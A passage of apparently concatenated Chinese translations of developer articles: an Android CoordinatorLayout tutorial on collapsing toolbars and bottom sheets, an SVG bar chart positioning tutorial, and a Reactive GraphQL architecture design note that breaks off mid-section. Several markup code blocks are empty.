CoordinatorLayout 发现 RecyclerView 中声明了这一属性,它就会搜索包含在其下的其他 view 看有没有与这个 behavior 关联的任何相关 view。在这种特殊情况下 `AppBarLayout.ScrollingViewBehavior` 描述了 RecyclerView 和 AppBarLayout 之间的依赖关系。RecyclerView 上的任何滚动事件都将触发 AppBarLayout 或任何包含在其中的 view 的布局发生变化。 RecyclerView 的滚动事件触发了 `AppBarLayout` 中用 `app:layout_scrollFlags` 属性声明的 view 发生变化: ``` ``` 若要使任一滚动效果生效,必须启用 `app:layout_scrollFlags` 属性中的 `scroll` 标志。这个标志必须与 `enterAlways`、`enterAlwaysCollapsed`、 `exitUntilCollapsed` 或者 `snap` 一同使用: * `enterAlways`:向上滚动时 view 变得可见。此标志在从一个列表的底部滑动并且希望只要一向上滑动 `Toolbar` 就显示这种情况下是很有用的。 > Ps:这里所说的 scrolling up 应该指的是 list 的滚动条向上滑动而不是上滑的手势。 ![](https://imgur.com/sGltNwr.png) 通常,只有当 list 滑到顶部的时候 `Toolbar` 才会显示,如下所示: ![](https://i.imgur.com/IZzcL1C.png) * `enterAlwaysCollapsed`:通常只有当使用了 `enterAlways`,`Toolbar` 才会在你向下滑的时候继续展开: ![](https://imgur.com/nVtheyw.png) 假设你声明了 `enterAlways` 并且已经设置了一个 `minHeight`,你也可以使用 `enterAlwaysCollapsed`。如果这样设置了,你的 view 只会显示出这个最低高度。只有当滑到头的时候那个 view 才会展开到它的完全高度: ![](https://imgur.com/HqR8Nx5.png) * `exitUntilCollapsed`:当设置了 `scroll` 标志时,下滑通常会引起全部内容的移动: ![](https://imgur.com/qpEr4x5.png) 通过指定 `minHeight` 和 `exitUntilCollapsed`,剩余内容开始滚动之前将首先达到 `Toolbar` 的最小高度,然后退出屏幕: ![](https://imgur.com/dTDPztp.png) * `snap`:使用这一选项将由其决定在 view 只有部分减时所执行的功能。如果滑动结束时 view 的高度减少的部分小于原始高度的 50%,那么它将回到最初的位置。如果这个值大于它的 50%,它将完全消失。 ![](https://i.imgur.com/9hnupWJ.png) **注意**:在你脑海中要将使用了 `scroll` 标志位的 view 放在首位。这样,被折叠的 view 将会首先退出,留下在顶部固定着的元素。 至此,你应该意识到这个 ToolBar 响应了滚动事件。 ![](https://imgur.com/Hl2Asb1.gif) ### 创建折叠效果 如果想创建折叠 ToolBar 的效果,我们必须将 ToolBar 包含在 CollapsingToolbarLayout 中: ``` ``` 现在结果应该显示为: ![](https://imgur.com/X5AIH0P.gif) 通常,我们会设置 Toolbar 的标题。现在,我们需要在 CollapsingToolBarLayout 而不是 Toolbar 上设置标题。 ``` CollapsingToolbarLayout collapsingToolbar = (CollapsingToolbarLayout) findViewById(R.id.collapsing_toolbar); collapsingToolbar.setTitle("Title"); ``` 注意,在使用 `CollapsingToolbarLayout` 的时候,应该如[此文档](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/values-v21/styles.xml)所述,将状态栏设置成半透明(API 19)或者透明(API 21)的。特别是,应该在 `res/values-xx/styles.xml` 中设置以下样式: ``` ``` 通过像上面那样启用系统栏的半透明效果,你的布局会将内容填充到系统栏后面,因此你还必须在那些不想被系统栏覆盖的布局上使用 `android:fitsSystemWindow` 。另外一种为 API 19 添加内边距来避免系统栏覆盖 view 的方案可以在[这里](http://blog.raffaeu.com/archive/2015/04/11/android-and-the-transparent-status-bar.aspx)查看。 ### 创建视差动画 CollapsingToolbarLayout 可以让我们做出更高级的动画,例如使用一个在折叠的同时可以渐隐的 ImageView。在用户滑动时,标题的高度也可以改变。 ![](https://imgur.com/ah4l5oj.gif) 要想创建这种效果的话,我们需要添加一个 ImageView 并在 ImageView 标签中声明 `app:layout_collapseMode="parallax"` 属性。 ``` ``` ## 底部表 在 support design library 的 `v23.2` 版本中已经支持底部表了。支持的底部表有两种类型:[persistent](https://www.google.com/design/spec/components/bottom-sheets.html#bottom-sheets-persistent-bottom-sheets) 和 [modal](https://www.google.com/design/spec/components/bottom-sheets.html#bottom-sheets-modal-bottom-sheets)。Persistent 类型的底部表显示应用内的内容,而 modal 类型的则显示菜单或者简单的对话框。 ![](https://imgur.com/3hCTnnC.png) ### Persistent 形式的底部表 有两种方法来创建 Persistent 形式的底部表。第一种是用 `NestedScrollView`,然后就简单地将内容嵌到里面。第二种是额外创建一个嵌入 `CoordinatorLayout` 中的 `RecyclerView`。如果 `layout_behavior` 是预定义好的 `@string/bottom_sheet_behavior`,那么这个 `RecyclerView` 默认是隐藏的。还要注意的是 `RecyclerView` 应该使用 `wrap_content` 而不是 `match_parent`,这是一个新修改,为的是让底部栏只占用必要的而不是全部空间: ``` ``` 下一步是创建 `RecyclerView`。我们可以创建一个简单的只包含一张图片和文字的 `Item`,和一个可以填充这些 items 的适配器。 ``` public class Item { private int mDrawableRes; private String mTitle; public Item(@DrawableRes int drawable, String title) { mDrawableRes = drawable; mTitle = title; } public int getDrawableResource() { return mDrawableRes; } public String getTitle() { return mTitle; } } ``` 接着,创建适配器: ``` public class ItemAdapter extends RecyclerView.Adapter { private List mItems; public ItemAdapter(List items, ItemListener listener) { mItems = items; mListener = listener; } public void setListener(ItemListener listener) { mListener = listener; } @Override public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { return new ViewHolder(LayoutInflater.from(parent.getContext()) .inflate(R.layout.adapter, parent, false)); } @Override public void onBindViewHolder(ViewHolder holder, int position) { holder.setData(mItems.get(position)); } @Override public int getItemCount() { return mItems.size(); } public class ViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener { public ImageView imageView; public TextView textView; public Item item; public ViewHolder(View itemView) { super(itemView); itemView.setOnClickListener(this); imageView = (ImageView) itemView.findViewById(R.id.imageView); textView = (TextView) itemView.findViewById(R.id.textView); } public void setData(Item item) { this.item = item; imageView.setImageResource(item.getDrawableResource()); textView.setText(item.getTitle()); } @Override public void onClick(View v) { if (mListener != null) { mListener.onItemClick(item); } } } public interface ItemListener { void onItemClick(Item item); } } ``` 底部表默认是被隐藏的。我们需要用一个点击事件来触发显示和隐藏。**注意**:由于这个已知的 [issue](https://code.google.com/p/android/issues/detail?id=202174),因此不要尝试在 `OnCreate()` 方法中展开底部表。 ``` RecyclerView recyclerView = (RecyclerView) findViewById(R.id.design_bottom_sheet); // Create your items ArrayList items = new ArrayList<>(); items.add(new Item(R.drawable.cheese_1, "Cheese 1")); items.add(new Item(R.drawable.cheese_2, "Cheese 2")); // Instantiate adapter ItemAdapter itemAdapter = new ItemAdapter(items, null); recyclerView.setAdapter(itemAdapter); // Set the layout manager recyclerView.setLayoutManager(new LinearLayoutManager(this)); CoordinatorLayout coordinatorLayout = (CoordinatorLayout) findViewById(R.id.main_content); final BottomSheetBehavior behavior = BottomSheetBehavior.from(recyclerView); fab.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { if(behavior.getState() == BottomSheetBehavior.STATE_COLLAPSED) { behavior.setState(BottomSheetBehavior.STATE_EXPANDED); } else { behavior.setState(BottomSheetBehavior.STATE_COLLAPSED); } } }); ``` 你可以设置布局属性 `app:behavior_hideable=true` 来允许用户也可以通过滑动而隐藏底部表。还有一些其他的属性,包括:`STATE_DRAGGING`,`STATE_SETTLING`,和 `STATE_HIDDEN`。更多内容,请看 [底部表的另一篇教程](http://code.tutsplus.com/articles/how-to-use-bottom-sheets-with-the-design-support-library--cms-26031)。 ### Modal 形式的底部表 Modal 形式的底部表基本上是从底部滑入的 Dialog Fragments。关于如何创建这种类型的 fragment 可以查看[本文](/android/Using-DialogFragment)。你应该继承 `BottomSheetDialogFragment` 而不是 `DialogFragment`。 ### 高级的底部表示例 有很多复杂的使用了 floating action button 的底部表的例子,button 随着用户滑动或展开或收缩或改变表状态。最著名的例子就是使用了多阶表的 Google Maps: ![](https://i.imgur.com/lLSdNus.gif) 下述教程和代码示例可以帮助你实现这些更加复杂的效果: * [CustomBottomSheetBehavior Sample](https://github.com/miguelhincapie/CustomBottomSheetBehavior) - 描述了在底部表滑动时三种状态来回切换。参考[相关 stackoverflow 博文](http://stackoverflow.com/a/37443680)。 * [Grafixartist Bottom Sheet Tutorial](http://blog.grafixartist.com/bottom-sheet-android-design-support-library/) - 关于在底部表滑动时如何定位 floating action button 以及对其使用动画的教程。 * 你可以阅读[本文](http://stackoverflow.com/questions/34160423/how-to-mimic-google-maps-bottom-sheet-3-phases-behavior)来进一步讨论如何模拟 Google Map 滑动期间状态改变的效果。 为了得到预期的效果可能需要相当多的实验。对于某些特定的用例,你可能会发现下面列出的第三方库是一种更简单的选择。 ### 可选的第三方底部表 除了 design support library 中提供的官方底部表,有几个可选的非常流行的第三方库,他们在某些特定用法下更容易配置和使用: ![](https://i.imgur.com/xRv4IQH.gif) 以下是最常见的选择和相关的例子: * [AndroidSlidingUpPanel](https://github.com/umano/AndroidSlidingUpPanel) - 一个广泛流行的实现了底部表的方法,这应当被视为官方的另一种方案。 * [Flipboard/bottomsheet](https://github.com/Flipboard/bottomsheet) - 另一个在官方方案发布前非常流行的可选方案。 * [ThreePhasesBottomSheet](https://github.com/AndroidDeveloperLB/ThreePhasesBottomSheet) - 利用第三方库来创建一个多阶底部表的示例代码。 * [Foursquare BottomSheet Tutorial](http://android.amberfog.com/?p=915) - 概述如何用第三方底部表来实现在老版本的 Foursquare 中使用的效果。 在官方的 persistent modal 表和这些第三方的替代方案之间,你应该可以通过足够的实验来实现任何想要的效果。 ## CoordinatorLayout 故障解决 `CoordinatorLayout` 非常强大但容易出错。如果你在使用 behavior 时遇到了问题,请查看下面的建议: * 关于如何高效使用 CoordinatorLayout 的例子请仔细参考 [cheesesquare 源码](https://github.com/chrisbanes/cheesesquare)。这个仓库是一个被 Google 持续更新的示例仓库,反映了 behavior 的最佳实践。尤其是 [layout for a tabbed ViewPager list](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/layout/include_list_viewpager.xml) 和 [this for a layout for a detail view](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/layout/activity_detail.xml) 这两个。可以仔细比较一下你的代码与 cheesesquare 的源码。 * 确保在 **`CoordinatorLayout` 的直接子 view** 上使用了 `app:layout_behavior="@string/appbar_scrolling_view_behavior"` 属性。例如,在一个下拉刷新的例子中,这个属性应该放在包含了 `RecyclerView` 的 `SwipeRefreshLayout` 中而不是第二层以下的后代中。 * 在一个使用了内部有 items 列表的 `ViewPager` 的 fragment 和一个父 activity 之间使用协调时,你想像[这里描述](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/layout/include_list_viewpager.xml#L49)的那样在 `ViewPager` 上添加 `app:layout_behavior` 属性,认为这样就可以将 pager 中的滚动事件向上传递然后就可以被 `CoordinatorLayout` 管理。但是,记住,你**不应该**将 `app:layout_behavior` 属性放到 fragment 或者它内部列表上的任何一个位置。 * 谨记 `ScrollView` 不能与 `CoordinatorLayout` 一起使用。你将需要像[这个示例](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/layout/activity_detail.xml#L61)中展示的那样用 `NestedScrollView` 来代替。将你的内容包含在 `NestedScrollView` 中,然后在其上添加 `app:layout_behavior` 就会使你的滚动行为预期工作。 * 确保你的 activity 或者 fragment 的根布局是 `CoordinatorLayout`。滚动事件不会响应其他任何布局。 使用 CoordinatorLayout 时出错的方式有很多种,当你发现出错时可以在这里添加提示。 ## 自定义 Behavior [CoordinatorLayout with Floating Action Buttons](/android/Floating-Action-Buttons#using-coordinatorlayout) 这篇文章中讨论了一个自定义 behavior 例子。 CoordinatorLayout 的工作方式是通过搜索所有在 XML 中静态地使用 `app:layout_behavior` 标签或者以编程的方式在 View 类中使用 `@DefaultBehavior` 注解装饰而定义 [CoordinatorLayout Behavior](http://developer.android.com/reference/android/support/design/widget/CoordinatorLayout.Behavior.html) 的子 View。当滚动事件发生时,CoorinatorLayout 尝试去触发那些被声明为依赖项的子 View。 为了定义你自己的 CoordinatorLayout Behavior,你应该实现 layoutDependsOn() 和 onDependentViewChanged() 这两个方法。例如 AppBarLayout.Behavior 就定义了这两个关键方法。此 behavior 用来在滚动事件发生时触发 AppBarLayout 上的改变。 ``` public boolean layoutDependsOn(CoordinatorLayout parent, View child, View dependency) { return dependency instanceof AppBarLayout; } public boolean onDependentViewChanged(CoordinatorLayout parent, View child, View dependency) { // check the behavior triggered android.support.design.widget.CoordinatorLayout.Behavior behavior = ((android.support.design.widget.CoordinatorLayout.LayoutParams)dependency.getLayoutParams()).getBehavior(); if(behavior instanceof AppBarLayout.Behavior) { // do stuff here } } ``` 理解如何实现这些自定义的 behavior 最好方法是研究 [AppBarLayout.Behavior](https://github.com/android/platform_frameworks_support/blob/master/design/src/android/support/design/widget/AppBarLayout.java#L738) 和 [FloatingActionButtion.Behavior](https://android.googlesource.com/platform/frameworks/support/+/master/design/src/android/support/design/widget/FloatingActionButton.java#L554) 这两个示例。 ## 第三方滚动和视差效果库 除了使用上述的 `CoordinatorLayout`,还可以查看[这些流行的第三方库](/android/Must-Have-Libraries#scrolling-and-parallax)来实现 `ScrollView`, `ListView`, `ViewPager` 和 `RecyclerView` 间的滚动和视差效果。 ## 将 Google Map 嵌入 AppBarLayout 由于这个已被确认的 [issue](https://code.google.com/p/android/issues/detail?id=188487),目前在 `AppBarLayout` 中还不支持使用 Google Map。在 v23.1.0 版本的 support design library 的更新中提供了一个 `setOnDragListener()` 方法,如果在此布局中需要拖拽效果的话,这个方法将非常有用。然而,它似乎不影响滚动,如这篇[博文](http://android-developers.blogspot.com/2015/10/android-support-library-231.html?linkId=17977963)所述。 ## 参考 * [http://android-developers.blogspot.com/2015/05/android-design-support-library.html](http://android-developers.blogspot.com/2015/05/android-design-support-library.html) * [http://android-developers.blogspot.com/2016/02/android-support-library-232.html](http://android-developers.blogspot.com/2016/02/android-support-library-232.html) * [http://code.tutsplus.com/articles/how-to-use-bottom-sheets-with-the-design-support-library--cms-26031](http://code.tutsplus.com/articles/how-to-use-bottom-sheets-with-the-design-support-library--cms-26031) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/handmade-svg-bar-chart-featuring-svg-positioning-gotchas.md ================================================ > * 原文地址:[A Handmade SVG Bar Chart (featuring some SVG positioning gotchas)](https://css-tricks.com/handmade-svg-bar-chart-featuring-svg-positioning-gotchas/) * 原文作者:[Robin Rendle](https://css-tricks.com/forums/users/robinrendle/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[cyseria](https://github.com/cyseria) * 校对者:[phxnirvana](https://github.com/phxnirvana),[wild-flame](https://github.com/wild-flame) # 我在手撕 SVG 条形图时踩过的定位坑 让我们来看看这周早些时候我在做一个(看似)简单的条形图的时候学到的用在 SVG 里定位元素的方法吧。 SVG 里并没有多少定位元素的方法。SVG 是一个声明式图形格式,但做一个图表它(实际上)是用绘图命令来进行定位的。所以它有很多潜在的陷阱和令人沮丧的地方,我们来慢慢分析。 我们要构建一个像下面这样的条形图表: ![](https://cdn.css-tricks.com/wp-content/uploads/2016/10/Screenshot-2016-10-20-21.57.49.png) 我可以选择用制图软件导出这张图片,再用 `` 标签引入(甚至可以直接存储为 `.svg` 文件),但是这样做又有什么意义呢?比起直接用 Sketch 或 Illustrator 文件,我觉得手工制作这张图我能学到到更多的(SVG)语法。 开工,先创建一个 `svg` 标签来容纳子元素。 ``` ``` 然后开始做两个长方形。第一个在后面作为背景,第二个在前面代表图表的具体数据: ``` ; ``` (当没有给 `` 元素提供 `x` 和 `y` 属性的时候,它们默认是0) 在上面的样例中,我给它们添加一点动画,你可以看到第二个长方形被放在第一个长方形的上面(这像在 Sketch 中绘制了两个长方形,一个叠在另一个上方): 查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 1](http://codepen.io/robinrendle/pen/43430fd382ab20ff426022d5c8ad4a89/) 接下来,我们添加一个标记以更容易地读取 0%,25%,50%,75% 和 100% 这样的数据。所以需要做的是建个新的组,并为每个标记添加一个 rect 标签,看起来是这样的吧?肯定没错,但是下一秒我就遇到了一点小问题。 在 SVG 中,用 `` 标签来绘制图表数据的样式,像下面这样: ``` ``` 看起来应该像这样: 查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 2](http://codepen.io/robinrendle/pen/e1a7d1e99ada07657cc0a98ff3652fec/) 很好!让我们添加剩下的全部标记,并更改一下它的颜色: ``` ``` 为每一个标记点添加一个 `rect` 标签,并添加了 fill 标签来改变它的颜色,再用 `x` 属性来定位。让我们看看他在浏览器渲染成怎样子了: 查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 3](http://codepen.io/robinrendle/pen/fb6b57b1a2572d312112b425bd8762fa/) 最后一个去哪了呢? 嗯,我们**确实**告诉它应该被定位在 100% 的地方,所以它实际上位于屏幕右边。 我们需要考虑它的宽度,并将它向左移动两个单位长度。有很多方法可以解决这个问题。 1.我们可以应用一个内联的变换(transform)样式将它扭转回来: ``` ``` 2.我们可以用 CSS 来表示同样的变换: ``` rect:last-of-type { transform: translateX(-2px); /* Remember this isn't really "pixels", it's a length of 2 in the SVG coordinate system */ } ``` 3.或者不用百分比,我们可以沿着 X 轴将其标记放在一个精确的地方。由于有 `viewBox` 属性的存在我们就可以知道 SVG 确切的坐标系了。在 [SVG 应用](https://abookapart.com/products/practical-svg)的第六章有提到: > `viewBox` 是 `svg` 的一个属性,它决定了坐标系和纵横比。它有四个属性分别为 x,y,宽度和高度。 这么说来我们加上 `viewBox` 之后应该是这样的: ``` ``` 条形图的宽度为 1000 个单位。我们的标记宽度是 2 单位。为了能在最右边缘放置最后一个标记,所以我们将它放在 998! (1000 - 2)。 这也是我们的 x 属性: ``` ... ... ``` 这样即使我们改变它的大小,标记也还是会位于 SVG 的最右边了: 查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 4](http://codepen.io/robinrendle/pen/595f1f122c4489567ecc1dd696870ad2/) 好极了! 我们不必在这里添加 % 或像素值了,因为这里使用由 `viewBox` 设置的坐标系。 排序完成后我们接着看下一个问题:在每个标记下面添加 % 的文本,以表示 25%,50% 等。为了做到这一点,我们在 `` 里面创建一个新的 `` 标签并添加 `` 元素。 ``` 0% 25% 50% 75% 100% ``` 我们手工在操作这些并且打算用 % 来表示 x 的数值,但是不幸的是最后看起来是这样: 查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 5](http://codepen.io/robinrendle/pen/f10b2c6e1ddfcf491a84b457da8c7bee/) 于是我们再次遇到了这个问题,最后一个元素并没有在我们预期的位置。中间标签的位置是错误的,在理想的情况下他们会在标志下面居中。在 Chris 告诉我可以用一个我没有听说过的属性 [`text-ancho`](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/text-anchor) 之前,我本想将每个元素都放置在它正确的 x 坐标上。 有了这个属性我们可以像使用 CSS 中的 `text-align` 属性一样操纵文本。这个属性是可继承的,所以我们对 `g` 标签设置一次再指向第一个和最后一个元素就好了。 ``` 0% 25% 50% 75% 100% ``` 就像这样: 查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 6](http://codepen.io/robinrendle/pen/338cf7c726d85c58c16f9b07a0dd4de3/) 就是这样!稍微知道 `viewBox` 是如何工作的,以及 `x`,`y` 坐标和像 `text-anchor` 这样的属性,我们就几乎可以用 SVG 做任何事了。 通过亲手实现这些图表,使得我们能够更好的去控制它们了。不难想象我们如何使用 JavaScript ,就能实现更多的设计,控制更多的数据。 再做一点点额外的工作,我们可以加上动画让这些图表真正的脱颖而出。请尝试将鼠标悬停在此版本的图表上,例如: 查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 7](http://codepen.io/robinrendle/pen/9197c221b3032a8b78c472f9a9a799b5/) 看起来非常棒,对吧?只使用 SVG 和 CSS 也可以创造出无限可能。如果你想了解更多可以看我前阵子写的[如何使用 SVG 来做图表](https://css-tricks.com/how-to-make-charts-with-svg/),来对此进行更深入的理解。 现在让我们开始做一些很帅的图表吧~ ================================================ FILE: TODO/high-level-reactivity.md ================================================ * 原文链接: [Reactive GraphQL Architecture](https://github.com/apollostack/apollo/blob/master/design/high-level-reactivity.md) * 原文作者 : [stubailo](https://github.com/apollostack/apollo/commits/master/design/high-level-reactivity.md?author=stubailo) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [shenxn](https://github.com/shenxn) * 校对者 : [lekenny](https://github.com/lekenny),[CoderBOBO](https://github.com/CoderBOBO) # 响应式 GraphQL 结构 这是一个高度概述的响应式 GraphQL 数据加载系统的体系结构。,我们这么做的目的是希望得到那些相关领域工程师的反馈。我们想要分享我们正在做的事以确认人们是否对它感兴趣,同时使得该领域中的人能够接受我们的设计。 * 如果你还不了解我们的设计,请阅读我们的[介绍页面](http://info.meteor.com/blog/reactive-graphql),这个页面概述了所有我们希望解决的问题。 * 你也可以阅读 Arunoda 的文章,那篇文章总结了我们的介绍内容:[Meteor's Reactive GraphQL is Just Awesome](https://voice.kadira.io/meteor-s-reactive-graphql-is-just-awesome-b21074231528#.3h3hmtbm2) 这是一张总结了我们设计的图表,之后我们会进行详细的解释: ![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zsqg1w7fj21kw0s845z.jpg) ## GraphQL (如果你已经对 GraphQL 很熟悉了,你可以[跳过这个部分](#reactive-graphql)) GraphQL 是一个用于查询节点类型图表的树形查询语言。举例来说,如果你有一些用户,一些待办事项列表,和一些任务,你就可以像下面这样查询: me { username, lists { id, name, tasks(complete: false) { id, content, completed } } } 查询中的每一个字段都调用了服务器上的一个可以访问任何数据源或API的解析函数。返回值被封装在一个与查询的样子类似的 JSON 响应中,并且你不会得到任何你没有查询的字段。针对上面的查询,你会得到如下数据: { me: { username: "sashko", lists: [ { id: 1, name: "My first todo list", tasks: [ ... and so on ], } ] } } > 你可以跟随一个时长几个小时的交互式课程 [LearnGraphQL](https://learngraphql.com/) 来学习 GraphQL 的基础知识。 注意,数据源是没有限制的,你可以在一个数据库中储存你的待办事项列表,并在另一个数据库中储存你的任务。事实上,GraphQL 的主要好处就是,你可以把数据从数据源中提取出来,这样前端开发者就不用担心数据源的问题了,后端开发者也可以自由地更改数据或者服务。下图展示了这种设计使用结构组件来表示的样子: ![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zsqywxqlj20xu0t2jve.jpg) 注意,GraphQL 拥有一个缓存,这个缓存是用来把查询结果分解成节点。一个聪明的缓存可以在数据需求变化或者部分数据需要刷新的时候,在之间缓存对象的基础上只重新获取查询的一部分,甚至是一个字段。在上面的例子中,缓存中的数据可能会被这样存储: { type: "me", username: "sashko", lists: [1] } { type: "list", id: 1, name: "My first todo list", tasks: [...] } 这个例子非常简明。你可以在 [Huey Petersen 的网站](http://hueypetersen.com/posts/2015/09/30/quick-look-at-the-relay-store/)上了解 Relay 缓存的工作方式。需要注意的是,缓存系统会将查询结果分解成平面结构,并且一个聪明的缓存将能够在必要时生成一个查询来更新 `list` 和它的 `tasks`,或者仅仅更新 `list` 的 `name`。 ## 响应式 GraphQL 人们对 GraphQL 感到很激动,并且它解决了许多开发者(包括 Meteor 的顾客和用户)遇到的许多问题。但是当你构建一个应用的时候,你不止是需要一种向服务器发起查询并得到响应的方式。举例来说,你应用的一部分可能会在另一个用户做出一些修改的时候需要响应式更新数据。 GraphQL 系统的客户端和服务器需要合作来实现上述功能,但是我们的一个目标是尽量减少对现行 GraphQL 执行方式的改变,从而使得开发者不管是现在还是将来都可以将 GraphQL 作为生产力的工具。 ### 依赖(Dependency) 我们想象中的系统的核心观点就是依赖。一个依赖就是一个 `键(key)` 和 `版本(version)` 的元组,其中 `键` 在全局中代表一个特定的数据单元(比如数据库中的一条记录或是一个查询的结果),而 `版本` 在全局中代表数据被修改的次数。 预想中的结果是,如果你拥有一些数据,并且你有这个数据的依赖,你就可以通过发送键和版本的方式向全局依赖服务器询问数据是否已经被修改了。这样做的主要好处是,应用程序的服务器不需要知道每个客户端当前正在追踪的查询,客户端可以自己保存这些信息。这减少了服务器的负担,并且使得开发者可以更自由地选择抓取新数据的时间。 ### 将依赖返回到客户端 之前,我们给了一个简单查询的 GraphQL 响应作为例子。如果你需要创建一个响应式的 GraphQL 查询,客户端需要需要一些额外的元数据来知道结果树中的哪些部分是响应式的,并且哪些键是无效的。客户端查询器会自动把这个元数据的字段添加到你的查询中,所以内部的响应应该会像下面这样: { me: { username: "sashko", lists: [ { id: 1, name: "My first todo list", tasks: [ ... and so on ], __deps: { __self: { key: '12341234', version: 3 }, tasks: { key: '35232345', version: 4 } } } ], __deps: { __self: { key: '23245455', version: 1 }, lists: { key: '89353566', version: 5 } } } } 这会告诉客户端哪些依赖它们应该监视来获知 `list` 对象本身的更改,或是 `tasks` 列表需要被更新。当然,这些额外的元数据会在传递给真实客户之前被过滤掉。 需要注意的是,`__deps` 字段不能被添加到 `tasks` 中,因为 JSON 语法不允许这么做,所以我们不得不把它放在父元素中。同样,`__self` 字段是对象的一个简略表达方式,这样就不需要列出 `list` 对象的所有属性(会包含 `name`,`description` 等,并且重新发送所有的键会浪费带宽)。 ### 在读入数据时自动记录依赖 为了知道一个 GraphQL 查询在什么时候需要被重新运行,我们需要先知道哪些依赖代表了查询中的不同部分。复杂查询的依赖可以被手动记录,但是一些简单查询的依赖可以被自动识别。举例来说,这是一个可以被用在 GraphQL 解析树上特定部分中的 Javascript SQL 查询: todoLists.select('*').where('id', 1); 这会自动记录如下的依赖: { key: 'todoLists:1', version: 0 } 这个依赖记录机制需要依赖跟踪服务器确认当前的版本。 ### 手动记录依赖 如果不能通过分析请求来确认依赖,自动依赖记录机制就不能工作。在这样的情况下,开发者将需要使用任何他们喜欢的字符串来手动记录一个依赖。 举例来说,假设你有一个用来计算用户通知数量的复杂查询,你也许需要为这个数字设置一个自定义的失效键: // 在程序的某个地方,一个用于生成键的函数 function notificationDepKeyForUser(userId) { return 'notificationCount:' + userId; } // 在 GraphQL 解析器内部 numNotifications = getNotificationCountForUser(userId); context.recordDependency(notificationDepKeyForUser(userId)); 这会使得你可以手动指定通知数量被刷新的时间。有些高级用户可能会对性能有非常严格的要求,像需要计算全站的访客数量或是维护一个实时的高分表,这时他们也会选择使用手动构建依赖以更好地控制他们的数据流。 ## 简单的响应式模型 基于上面的描述,我要介绍一个实现响应式 GraphQL 的无状态策略: 1. 客户端向 GraphQL 服务器发送查询,接收到一个包含一系列依赖的响应。 2. 客户端周期性查询服务器,获知依赖是否失效,服务器返回包含新版本号的依赖列表。对于一些需要更低延迟的客户端来说,可以通过使用 websocket 来订阅依赖的方式,将上述方法轻松转变成有状态的方式,具体可以查阅[下面一节](#reducing-latency)。 3. 客户端重新抓取依赖于失效依赖的子查询树。 有许多方法可以在服务器上添加更多状态来优化系统延迟并减少客户端和服务器的通信次数,这些方法可以在之后再添加。 ![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zsr810o2j21920vctef.jpg) ### 降低延迟 文档的剩余部分将会讲述从依赖服务器获取更新的话题。上面的方法导致了每次更新数据时服务器和客户端之间都需要两轮通信:一轮获取失效键,一轮获取新数据本身。下面的方法可以使得通信次数下降为1次甚至0次: 1. 失效服务器可以接受 websocket 连接,并且允许客户端订阅它需要的依赖键, 这意味着失效信息是被即时推送到客户端的,并且获取数据本身只需要一轮通信。 2. 让应用服务器订阅失效信息,并且_在服务器上_发起 GraphQL 请求,然后将请求结果与当前客户端状态进行比较并且发送一个补丁。这种方法几乎与 Meteor 现在采取的方法一致,这对于那些拥有少量用户并且要求低延迟的应用来说,是一个非常好的选择。 因为这些方法并没有修改系统的内部设计,而且非常易于执行,我们会把它们当做优化并且留到将来再处理。 ## 使依赖失效 我们还没有讨论过失效服务器如何知道一个依赖的版本号已经增加了(这就意味着客户端上的数据需要重新加载)。最低级的方法是,你的代码在写入数据的时候,将失效的依赖列表发送给失效服务器。这部分同样也会讨论上述方法的一个高级封装。 ### Mutations 到目前为止,我们只讨论了如何加载数据,如果你的应用程序只是用来查看一些你不能控制的数据,这就足够了。然而,大多数应用依然需要允许他们的用户操作数据。 在 GraphQL 中,发送给服务器的数据修改请求被称为 mutation,所以我们在这篇文档中也会这样称呼它们。 ### mutation 是什么? 你可以把一个 mutation 想象成一个远程程序的调用点。归根结底,这就是服务器上一个函数的名称,客户端可以通过这个名称和一些相应的参数来调用函数。 在这个基于依赖的系统上,mutation 需要做这些事: 1. 将数据写入后端数据库或者调用相关 API。 2. 给失效服务器发送适当的失效信息。 3. 可选优化更新客户端,使客户端更好地与服务器进行数据交换。 我们希望这个系统能使开发者在调用一个 mutation 的时候,可以尽可能少地操心哪些数据可能发生了变化,同时,我们也允许开发者自己处理数据的变化以便于优化。 让 mutation 发送失效信息也是做乐观 UI 的一个好方法。你可以简单地从 mutation 返回已经失效的依赖键,然后客户端就可以在需要重新获取那些依赖的时候,直接从服务器取得真实数据。 这里最大的困难是(2):mutation 如何通知失效服务器,以及通知那些数据被修改的客户端? ### 